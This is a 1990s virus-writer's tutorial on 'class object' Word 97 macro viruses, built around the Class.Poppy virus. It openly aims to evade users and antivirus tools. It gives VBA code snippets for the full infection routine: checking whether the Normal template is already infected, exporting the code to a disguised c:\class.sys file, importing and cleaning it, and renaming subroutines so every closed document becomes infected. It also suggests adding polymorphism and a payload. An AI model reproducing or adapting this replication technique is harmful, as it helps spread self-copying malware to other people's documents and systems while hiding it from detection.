What is "Class Object Infection" ? by VicodinES /CB /TNN

                  
      


*What is it? Is it any better than a regular macro virus? 

Currently all Word 97 macro viruses contain Modules and these Modules then contain the macro subroutines and functions. A "Class Object" macro virus does not have a 
Module and therefore can not be seen in the Word 97 Macro Organizer. This gives us our first advantage - you no longer have to bother hooking File|Templates because 
even if the user pulls up the File|Templates menu they will not see any macros! "Class" macros can not be seen in the "Macro Organizer" 

Now you see one advantage, well there are others. A "Class Macro" can not just be deleted from the Visual Basic Editor. So even if the user discovers your "Class Virus" 
he/she must actually highlight the code, select it and then delete it. It's not as easy as just deleting a module. Plus if they do not look close enough they may just think 
Word is mistaken and that they do not have a virus since there are no Modules in the document. Also many AV's use the Module name to help them find and identify a 
macro virus but a "Class Virus" does not have a Module name and they must rely on a scan string. 

*What are the rules of a "Class Virus" ? 

A "Class Virus" has a few different constraints than a regular Word 97 macro virus. First you can not have the same subroutine or function in both an infected document 
and infected normal template. For example this is a list of the subroutines in Class.Poppy : 


>Infected Document< >Infected Normal Template<
AutoOpen - AutoClose
ViewVBCode - ToolsMacro

The code is essentially the same (except for a few minor changes) in both the infected document and the infected normal template but the subroutine names have to be 
different. Also you can not have public variables they all must be private. I decided to just stay away from private declarations just to make it easier for my first "Class 
Virus" 

*How does it work? How can I write one? 

The first thing to figure out is where do you write your code. The virus code is written in the "Microsoft Word Objects" section in the Visual Basic Editor. This is where you 
write your subroutines. 

To reference your code you must always point to item(1) in the visual basic components. Just like this example of Item(1) for the active document: 


ActiveDocument.VBProject.VBComponents.Item(1)

Item(1) is always the "ThisDocument" part of your Word document(^1). This is the section you want to infect. 

You will also need to figure out if you are already installed. You can not use the old method of checking for your module name in all the visual basic components because 
there is no module or module name. The way to check it is to see if any code exists in Item(1). 99.9% of the time this section of documents and templates will be empty 
so all you have to do is check for any code. Just count the number of lines and if there are zero lines of code then it's safe to infect. For example this check of a normal 
template: 


NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

So if the value returned is not zero then your already installed but if the value is zero then you need to infect the normal template. 

To get your code out of the active document and into the normal template (to infect the normal template) is a bit tricky. You can not simply copy the code there. 
OrganizerCopy and WordBasic.MacroCopy do not work and you can't just Export and then Import code into Item(1). First thing to do is get your code out of the active 
document. You can do this with the basic export function. Such as this example from Class.Poppy: 


ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\class.sys"

I exported it to class.sys just because sys files are hidden files by default. You could use any name you want to but I decided to uses sys because it looks like it should 
be there if the user stumbles on to it. 

Now that we have exported our code we need to bring it into the normal template to complete the infection. The way to do this is to add it from the file class.sys (the 
import command will not work). This exmaple from Class.Poppy shows how it's done: 


Set host = NormalTemplate.VBProject.VBComponents.Item(1)
host.codemodule.AddFromFile ("c:\class.sys")

I set "host" as the object to import into since it's easier to continue to reference "host". 

Ok so we imported our code (class.sys) into the normal template but there is a big BIG problem. The first four lines are invalid. We imported these lines of code also (they 
are automatically generated during the export): 


VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
End

That is going to cause an error in our code and we need to remove it! That can easily be done with the deletelines command. For example (notice I still reference "host" 
from above): 


With host.codemodule
For x = 1 To 4
.deletelines 1
Next x
End With

I delete line 1 four times. This way I remove all the extra code that I don't need and don't want. 

So are we done? Nope! We now have two identical codemodules in Item(1). Both have the subroutine AutoOpen and as I stated before that will not work - Word will give us 
an error and we will fail to spread. So what we need to do is replace "Sub AutoOpen()" with something else. What we can do is replace it (in the normal template only) 
with a new subroutine name. One that will work good with infection. I decided to go with AutoClose so all documents that are closed will become infected. Here is the 
example: 


host.codemodule.replaceline 1, "Sub AutoClose()"

I knew "Sub AutoOpen()" would be line 1 since I previously just removed the first four lines. 

*We done? 

And that should do it. We managed to check to see if we were installed. Then since we weren't we exported our code and added it in for the infection. We cleaned up our 
extra lines and did the subroutines name change. That's all it takes :-) ... well a few other things can be done, such as polymorphism, a payload and some stealth. Check 
out the code for Class.Poppy if you want to see how that is done. 

*Any extra suggestions? 

Oh ok - the most fun thing you can do is swamp your Item(1) name just before you export your code. This way the virus will adapt its Item(1) name to any Non-English 
version of Word. It can be done like this: 


ActiveDocument.VBProject.VBComponents.Item(1).Name = _
NormalTemplate.VBProject.VBComponents.Item(1).Name

Do This right before your export and if the normal template Item(1) has a different name then the document Item(1) then it will adopt this new name and if the names are 
the same then nothing will change! 

Peace, VicodinES 



Facts: 

Class.Poppy was the first virus to do any of this. 
Slage Hammer helped me test on Non-English versions. 
The export to sys file was first done by Reptile/29A. 

Footnote: 

^1 - it may be called other things in Non-English versions of Word